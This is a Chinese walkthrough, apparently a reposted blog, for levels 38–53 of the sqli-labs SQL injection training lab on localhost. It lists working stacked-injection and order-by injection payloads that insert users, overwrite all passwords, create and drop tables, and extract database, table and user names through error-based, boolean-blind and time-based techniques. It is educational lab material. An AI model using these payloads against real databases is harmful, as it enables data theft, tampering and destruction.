sqli-labs通关攻略38-53[Stacked Injections]

Stacked Injections

less-38

在这里插入图片描述
由于在这里使用了执行一个或多个sql语句的函数mysqli_multi_query。
所以可以尝试堆叠注入,堆叠注入就是执行多条SQL语句,通过;分割;在实战中,由于正常数据库只会回显出我们想要的结果,所以,堆叠注入在黑盒测试下只能通过模糊测试来进行测试。由于是直接执行多条SQL语句,所以对SQL语句就并无限制,可以通过堆叠注入增删改查等数据库操作。
我们在知道数据库结构后尝试进行插入数据操作

http://127.0.0.1/sql-labs/Less-38/?id=1';insert into users(id,username,password)values(20,'keepb1ue','2020')--+

插入后,我们直接切换到id 20,看看是否插入成功
在这里插入图片描述在这里插入图片描述
当然我们还可以执行任何SQL语句,这也说明了堆叠注入危害极大。

less-39

在这里插入图片描述
和38一样,堆叠注入,只不过将id参数包裹引号去掉罢了。

http://127.0.0.1/sql-labs/Less-39/?id=1;insert into users(id,username,password)values(19,'allblue','2019')--+

在这里插入图片描述

less-40

在这里插入图片描述
不多说

http://127.0.0.1/sql-labs/Less-40/?id=1');insert into users(id,username,password)values(18,'hacker','2018')--+

在这里插入图片描述
在这里插入图片描述

less-41

在这里插入图片描述
还是整数型堆叠注入
在这里插入图片描述

http://127.0.0.1/sql-labs/Less-41/?id=1;update users set password='hacker' 
where id>0--+

将所有密码都改成了hacker在这里插入图片描述

less-42

在这里插入图片描述
基于24关卡新增post的堆叠:

login_user=admin&login_password=1';create table keepb1ue like users#

创建一个和users同样结构的数据库在这里插入图片描述
在这里插入图片描述

less-43

在这里插入图片描述post 闭合’)

login_user=King&login_password=123');insert into users(id,username,password)values(22,'test22','test22')#

在这里插入图片描述
在这里插入图片描述

less-44

在这里插入图片描述
与43比较,只是闭合方式改了和去掉了一个打印报错信息的语句。
那如果在实战中没有报错信息那就只能去fuzz了

login_user=King&login_password=123';drop table keepb1ue#

在这里插入图片描述
在这里插入图片描述

less-45

在这里插入图片描述
mysqli_muti_query,还是闭合 ')堆叠

login_user=King&login_password=123');insert into 
users(id,username,password)values(23,'KB','KB')#

less-46

order by注入
在这里插入图片描述
我们可以通过asc 和desc查看返回数据是否相同来简单判断是否存在order by注入
在这里插入图片描述
在这里插入图片描述
证明的确有order by 注入
order by注入有很多种方式进行注入
比如:报错注入、盲注、异或注入。如果达到一定条件还可以联合注入
报错注入很简单:

http://127.0.0.1/sql-labs/Less-46/?sort=1 and 
updatexml(1,concat(0x7e,(select database())),1)

在这里插入图片描述
盲注:

http://127.0.0.1/sql-labs/Less-46/?sort=rand(ascii(left(database(),1))=115)

根据rand来对SQL语句对错做判断,因为rand(True)和rand(False)的回显结果是不一样的。

less-47

在这里插入图片描述
还是闭合不同

http://127.0.0.1/sql-labs/Less-47/?sort=1' and 
updatexml(1,concat(0x7e,(select database())),1) --+
http://127.0.0.1/sql-labs/Less-47/?sort=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+

在这里插入图片描述

less-48

在这里插入图片描述
本关与less-46的区别在于报错注入不能使用,不进行错误回显,因此其他的方法我们依旧是可以使用的。
可以利用sort=rand(true/false)进行判断。

http://127.0.0.1/sql-labs/Less-48/?sort=rand(ascii(left(database(),1))=150)

在这里插入图片描述

http://127.0.0.1/sql-labs/Less-48/?sort=rand(ascii(left(database(),1))=115)

在这里插入图片描述
根据rand(true)和rand(fales)的回显不一样做判断,进行布尔盲注

延时:
http://127.0.0.1/sql-labs/Less-48/?sort=1 and (If(ascii(substr(database(),1,1))=115,sleep(5),1))

less-49

在这里插入图片描述
与less47很类似,只是没有错误回显
利用延时注入

http://127.0.0.1/sql-labs/Less-49/?sort=1' and (if(ascii(substr((select username from users where id=1),1,1))=115,0,sleep(5)))--+

less-50

在这里插入图片描述
order by+堆叠注入

http://127.0.0.1/sql/Less-50/?sort=1;create table keepblue like users--+

less-51

在这里插入图片描述
和上一关一样,闭合变成’:

http://127.0.0.1/sql/Less-51/?sort=1';drop table keepb1ue--+

less-52

在这里插入图片描述
去掉了闭合,去掉了错误提示

http://127.0.0.1/sql/Less-52/?sort=1;create table keepb1ue like users--+

less-53

在这里插入图片描述
和51一样的做法,不多做讲解

http://127.0.0.1/sql/Less-53/?sort=1';drop table keepb1ue--+

猜你喜欢

转载自blog.csdn.net/qq_36618918/article/details/107917023